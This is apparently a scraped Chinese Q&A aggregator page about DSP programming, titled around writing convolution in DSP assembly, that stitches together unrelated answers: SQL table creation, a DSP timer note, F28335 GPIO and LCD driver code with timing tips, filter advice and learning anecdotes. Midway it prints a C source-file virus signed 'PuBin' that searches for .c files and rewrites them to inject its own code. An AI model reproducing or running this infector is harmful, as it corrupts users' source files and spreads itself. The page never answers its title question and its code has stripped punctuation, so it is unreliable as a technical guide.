有谁会用DSP汇编语言编写实现卷积运算的程序

有谁会用DSP汇编语言编写实现卷积运算的程序,第1张

create database 数据库的名称

use 数据库的名称

create table 表的名称

(

字段1 int,

字段2 varchar(20)

)

这久是最简单的建库和建表

这可能是一个时钟定时程序用的:

Uint16 定义一个无符号的十六位整数,(TDDRH:TDDR)使定时器预定标分频系数,每(TDDRH:8)+1个时钟周期(TIMH:TIM)减一,当TIMH:TIM递减到零时,TIMH:TIM寄存器重新装载PSCHSC寄存器保存的周期值,并产生定时器中断TINT 信号。

您好,1 首先是接口的预定义

----------------------------------------------

#define LCD_DATA (((volatile Uint16 )0x0070E0)) // GPIOA7-A0对应DB7-DB0

#define RS GpioDataRegsGPBDATbitGPIOB0

#define RW GpioDataRegsGPBDATbitGPIOB1 //别弄错0 1 2

#define EN GpioDataRegsGPBDATbitGPIOB2 // 实际接线要对应

void InitGpio(void)

{

EALLOW;

GpioMuxRegsGPAMUXbitPWM1_GPIOA0 = 0; // 设置为普通GPIO使用

GpioMuxRegsGPADIRbitGPIOA0 = 1; // 设置为输出

GpioMuxRegsGPAMUXbitPWM2_GPIOA1 = 0;

GpioMuxRegsGPADIRbitGPIOA1 = 1;

GpioMuxRegsGPAMUXbitPWM3_GPIOA2 = 0;

GpioMuxRegsGPADIRbitGPIOA2 = 1;

GpioMuxRegsGPAMUXbitPWM4_GPIOA3 = 0;

GpioMuxRegsGPADIRbitGPIOA3 = 1;

GpioMuxRegsGPAMUXbitPWM5_GPIOA4 = 0;

GpioMuxRegsGPADIRbitGPIOA4 = 1;

GpioMuxRegsGPAMUXbitPWM6_GPIOA5 = 0;

GpioMuxRegsGPADIRbitGPIOA5 = 1;

GpioMuxRegsGPAMUXbitT1PWM_GPIOA6 = 0;

GpioMuxRegsGPADIRbitGPIOA6 = 1;

GpioMuxRegsGPAMUXbitT2PWM_GPIOA7 = 0;

GpioMuxRegsGPADIRbitGPIOA7 = 1;

GpioMuxRegsGPBMUXbitPWM7_GPIOB0 = 0;

GpioMuxRegsGPBDIRbitGPIOB0 = 1;

GpioMuxRegsGPBMUXbitPWM8_GPIOB1 = 0;

GpioMuxRegsGPBDIRbitGPIOB1 = 1;

GpioMuxRegsGPBMUXbitPWM9_GPIOB2 = 0;

GpioMuxRegsGPBDIRbitGPIOB2 = 1;

EDIS;

}

----------------------------------------------

一般液晶的控制线是直接对I/O口的位进行 *** 作,数据线是按字进行 *** 作。在这容易出错的是:(1)数据线地址的对应。DSP的GPIO数据地址一般为16位一个地址(F28335有的是32个GPIO一组,给出了一个地址,实际上是有两个地址的,给出的那一个地址是低16位的)。需要注意的是,液晶数据线一般为8位,那么把八位数据送出的时候,实际给的是DSP的16位数据的低八位,所以接线上要接低八位的GPIO;如果接高八位的GPIO,软件上要用下面一行程序进行移位 dat = dat << 8; //左移8位,向高位移动。(2)在进行GPIO初始化和预定义的时候,一般都会复制,但是别忘记改一些0 1 2 3等数,接线上也要一一对应,仔细检查。

2 51程序移植到DSP的时序问题

----------------------------------------------

void Display_Data_All(uchar hz)

{

while(hz != '\0')

{

WriteData12864(hz);

hz++;

delay(20);//2就不够!!!!!!

}

}

----------------------------------------------

由于51单片机的晶振一般为110592MHz,而DSP等控制器的晶振为30MHz,实际执行起来最高有150MHz,而液晶为低速外设,所以移植后可能会不显示,显示乱码等情况。我在调试12864液晶的时候就出现过只显示乱码数字不显示汉字的情况,这不是字库损坏,而是因为写汉字的时间要比写数字的时间长,而程序中延时过短。上面程序中把delay(2)改为delay(20)就解决问题了。

实际上,真正造成影响的是,程序执行过快。它认为显示完一个字之后,又很快进入下一个字的 *** 作;实际上液晶要一定的时间才能写完(见液晶 *** 作时序图),所以写数据的程序中要加长延时。至于RS、RW、EN等控制引脚,延时与否影响不大。

3 240128液晶的调试

240128液晶有busy和int返回信号,实际上不需要接即可。程序中也可以不测忙。。程序中写控制指令两者中间也要加长延时,更不用说写数据之间的延时。

----------------------------------------------

void lcd_regwrite(Uint16 regname,Uint16 regdata) // 写控制指令

{

lcd_regwr(regname);

delay(10); // 加长延时

lcd_regwr(regdata);

}

void lcd_character(uchar cha,int count) // 显示中文或字符

{

int i;

for(i=0;i<count;i++)

{

delay(10); // 加长延时

lcd_datawrite(cha);

++cha;

}

}

由于正弦波是单一频率信号。可以采取下述措施: 1、可以在AD输入根据信号频率加一个带通滤波器和一个抗混叠的低通滤波器,或者共用一个低通滤波器。 2、如果滤波器对有用信息造成了不可忽视的衰减,可以根据滤波器的幅频响应特性及信号频率在dsp中做补偿。 3、输出加一个低通滤波器或积分器,消除DA量化时造成的“小台阶”,低通滤波器的截止频率应该高于信号频率,远远低于DA的转换频率。

#include <stdioh>

#include <dirh>

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE in,out,read;

char virus="virusc";

char buf[50][80];

char p;

char end="return";

char bracket="}";

char main="main";

char include[2]={"stdioh","dirh"};

char int_virus="int virus()";

char buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus Writen by PuBin\n");

done = findfirst("c",&ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblkff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i>=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblkff_name,"w+t");

fputs("#include<stdioh>\n",out);

fputs("#include<dirh>\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;j<i-1;j++)

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(j<i-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char virus=\"",out);

fputs(ffblkff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus Writen by PuBin\n",ffblkff_name);

next: done = findnext(&ffblk);

}

return 0;

}

在现有的硬件基础上开发DSP软件大体步骤如下:

一、准备阶段

1、分析开发项目需求,即软件所需要具备的功能,如AD采样、通讯、外设控制等等;

2、了解硬件平台资源,如硬件存储器资源、外设IO资源、通讯接口等等,为DSP的初始化工作做准备的;

3、结合硬件资源和需求制定一个可行的软件方案;

二、代码编写阶段

代码编写因人而异,大体步骤:

1、搭建文件框架,一般一种功能对应一个C文件和H文件,根据11软件需求来;(特别提醒不要把所有代码都放在一个或几个文件里,不然哪怕注释得再清楚,在后期的调试和维护时都很费劲)

2、搭建函数框架,文件搭好后,在对应的文件中添加对应的功能函数,函数只需要定义函数名即可,如VoidSystemInit(){;};

3、函数框架也搭好后就可以开始添加代码了,首先是添加DSP器件相关程序,比如系统时钟配置,中断函数;I/O功能脚配置等;其次逐块添加算法代码,原则是从易到难,每个函数框架代码搭建完后最好都进行测试。

三、调试优化阶段

以上一块块功能测试正常后,就可以开始整体测试了,直至最终调试完成。

因为课题需要,所以跟dsp打上了交道。大概从今年的8月份开始了解dsp。

那个时候中文书籍好像不是很多,就从网上下载ti的一些基本手册和几本大

黄皮书。因为以前基本没接触过,所以没搞dsp之前觉得dsp好深奥好难,看

了一段时间书以后,开始使用ccs仿真一些程序。现在回头看看ccs的软仿真

一般只能仿真算法的对错,对于算法的效率和其他一些性能的仿真基本没有

什么意义。可惜刚上手的时候我对这个不太清楚,就一直在ccs的软仿真上

浪费了太多时间,总想通过ccs下的profiler观测值来提高程序效率,结果

和后来在实际板子上跑出来的效果大相径庭。大概到了国庆假期结束,开始

画电路板,11月初拿到电路板开始漫长的调试过程。早听人说过调硬件是一

件很苦恼又很无奈的事,因为好多问题没有道理可讲。第一块板子是一块小

的实验板,制版焊接到调试一次通过,我就感觉调试硬件没什么特别难的。

结果后来的事实让我体验到了调试硬件的艰苦。第二块板子也很快做完了,

结果上电后总进不去ccs。折腾了两天,挨个管脚测,后来又和第一次做得

板子进行比较,发现一些中断引脚没有拉高,估计可能是这方面的原因。把

这些中断管脚拉高以后,ccs顺利进去了。后来又遇到了很多问题,每次都要

花上两三天时间才能把问题找出来。到现在电路基本能跑起来,但还有些不太

稳定,原因还需要慢慢琢磨。

在调试过程中,能多找一些身边的高手问就尽量找,这样有两个好处,一

能节省你的时间,二可以从高手那里得到一些经验。其次如果电路在调试过程

中老出问题,先检查程序,确认程序没有问题以后,在查硬件电路,这样一个

顺序效率比较高。再就是多留意一下bbs上的信息,有的信息可能现在对你

没多少用处,但是可能在以后会用到。

还有一些具体经验,以后有时间在总结了 ^_^

学习DSP可能需要时间很长,不是短期可以解决的。

我的建议:

1。看网上资料;

2。用DSK来练手;

3。如果你连硬件经验都没有,那就得先练焊板子,哈哈

4。找人请教

我的唯一感受,如果你想学深些的话:

1多看TI的pdf,多多宜善,权威而且全面

2硬件上,多做项目,包括单片机的、一般电路的都行

3软件上,一般的编程不说了,编译原理之类的对混合编程很有帮助的

4其它东西,就是那些随着DSP的出现才流行的东西,如DSP/BIOS,CPLD技术等

其实也没什么诀窍,我现在还是照着上面学,离目标还差得远

以上就是关于有谁会用DSP汇编语言编写实现卷积运算的程序全部的内容,包括:有谁会用DSP汇编语言编写实现卷积运算的程序、DSP C 语言编程、DSP28335控制12864液晶,读取LCD数据,lcd_read_data程序应该怎么编写等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/zz/10211115.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-05-06
下一篇2023-05-06

发表评论

登录后才能评论

评论列表(0条)

    保存